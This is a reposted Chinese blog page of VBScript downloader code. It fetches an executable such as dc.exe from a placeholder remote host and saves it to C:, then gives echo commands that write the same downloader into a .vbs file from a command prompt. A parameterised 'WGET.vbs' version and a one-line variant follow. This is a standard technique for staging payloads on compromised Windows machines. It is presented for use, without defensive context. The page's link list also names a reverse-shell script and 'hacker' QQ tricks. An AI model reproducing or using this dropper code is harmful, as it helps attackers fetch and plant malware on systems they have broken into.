自动下载并运行的VBS脚本代码[转载]
2012年01月15日
信息来源:http://blog.csdn.net/yatere/article/details/6562680
自动下载并运行的VBS脚本代码
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:/dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs
===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========
===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.Open "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.Open()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
发表评论
-
PowerShell 2.0之使用WMI管理Windows(二)PowerShell操作WMI
2012-01-20 10:01 698PowerShell 2.0之使用WMI管理Windows(二 ... -
IIS 服务器没有及时响应启动或控制请求 未启动 启动 world wide web publishing服务 127 找不到指定程序
2012-01-20 10:01 530IIS 服务器没有及时响应启动或控制请求 未启动 启动 wor ... -
vbs脚本:DeleteFolder
2012-01-20 10:01 561vbs脚本:DeleteFolder 2010年08月08日 ... -
QTP使用技巧(1)
2012-01-20 10:01 630QTP使用技巧(1) 2011年06 ... -
PowerDesigner设置MYSQL主键自动增长的方法
2012-01-20 10:01 594PowerDesigner设置MYSQL主键自动增长的方法 ... -
vbs 脚本没事测试玩
2012-01-19 15:03 493vbs 脚本没事测试玩 2011年03月27日 Set ... -
VBS脚本文件大全
2012-01-19 15:03 579VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
[值得一看] TCP版backshell的VBS脚本
2012-01-19 15:03 971[值得一看] TCP版backshell ... -
C#程序实现动态调用DLL的研究
2012-01-19 15:02 459C#程序实现动态调用DLL的研究 2011年04月26日 ... -
system32文件夹里的文件详解
2012-01-17 04:49 650system32文件夹里的文件详解 2011年05月23日 ... -
Windows XP系统文件一一诠释(1)[最新整理](转BY wang6610----BBS.WUYOU.COM)
2012-01-17 04:49 516Windows XP系统文件一一诠 ... -
OpenGL函数参考(中文版)转载
2012-01-17 04:49 832OpenGL函数参考(中文版)转载 2011年01月17日 ... -
OpenGl函数解释(转载)
2012-01-17 04:49 304OpenGl函数解释(转载) 2011年03月11日 第 ... -
怎样用OpenGL在某一位置上写字符串?
2012-01-17 04:47 360怎样用OpenGL在某一位置上写字符串? 2011年11月2 ... -
VBS脚本编程教程一
2012-01-16 03:40 398VBS脚本编程教程一 2010年01月10日 大家好,在 ... -
把我最钟爱的脚本语言--vbs 的教程分享给大家--2
2012-01-16 03:40 412把我最钟爱的脚本语言- ... -
vbs脚本批量将ppt转换为word
2012-01-16 03:40 835vbs脚本批量将ppt转换为word 2009年11月25日 ... -
通过对一个病毒源码的分析,了解VBS脚本语言的应用
2012-01-16 03:40 644通过对一个病毒源码的 ... -
【黑客】利用VBS脚本让QQ永远在线,等级速升
2012-01-16 03:40 331【黑客】利用VBS脚本让QQ永远在线,等级速升 2010年0 ...
相关推荐
QQ自动登陆”的VBS脚本代码.pdf
自动打网页的VBS脚本 自动打网页的VBS脚本 可也调整窗口大小
VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs 利用VB编写文本朗读精灵.vbs 。...
Qt工程,c++代码调用vbs脚本函数,一个很简单的demo,参考学习
VBS脚本常用代码大全2011整理.pdf
VBS脚本运行库手册之一(磁盘操作) VBS脚本运行库手册之二(磁盘操作) VBS脚本运行库手册之三(管理文件夹) VBS脚本运行库手册之四(管理文件夹) VBS脚本运行库手册之五(文件夹属性) VBS脚本运行库手册之...
wincc vbs脚本手册 西门子 组态 脚本
压缩文件中包含了近100个本人收集和实际应用的所有脚本,代码详细,涉及Windows账号,AD域管理,操作系统,注册表,文件读写,网络,端口扫描等等vbs代码,经典快下哦,vbs交流请加群70539804,本人是群主
wincc VBS脚本加密破解
DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本DB自动生成用vbs脚本
windows下tomcat自动启动vbs脚本,自己用的。
整人的代码哦,vbs脚本运行,可以修改扩展名为txt进行修改
ADSL自动拨号VBS脚本,自己改一下其中的用户名和密码
widnows自动登录ssh服务器自动执行命令的脚本
helloworld vbs 脚本hellohelloworld vbs 脚本world vbs 脚本helloworld vbs 脚本helloworld vbs 脚本helloworld vbs 脚本
修改文本中exe文件路径,将txt后缀改为vbs,运行即可
WinCC常用的C脚本和VBS脚本对变量进行置位,复位,取反,读写变量;
windows常用bat/vbs脚本合集,2017年06月09日版本
vbs脚本手册
TIA Portal WinCC Engineering V17 – VBS脚本编程参考手册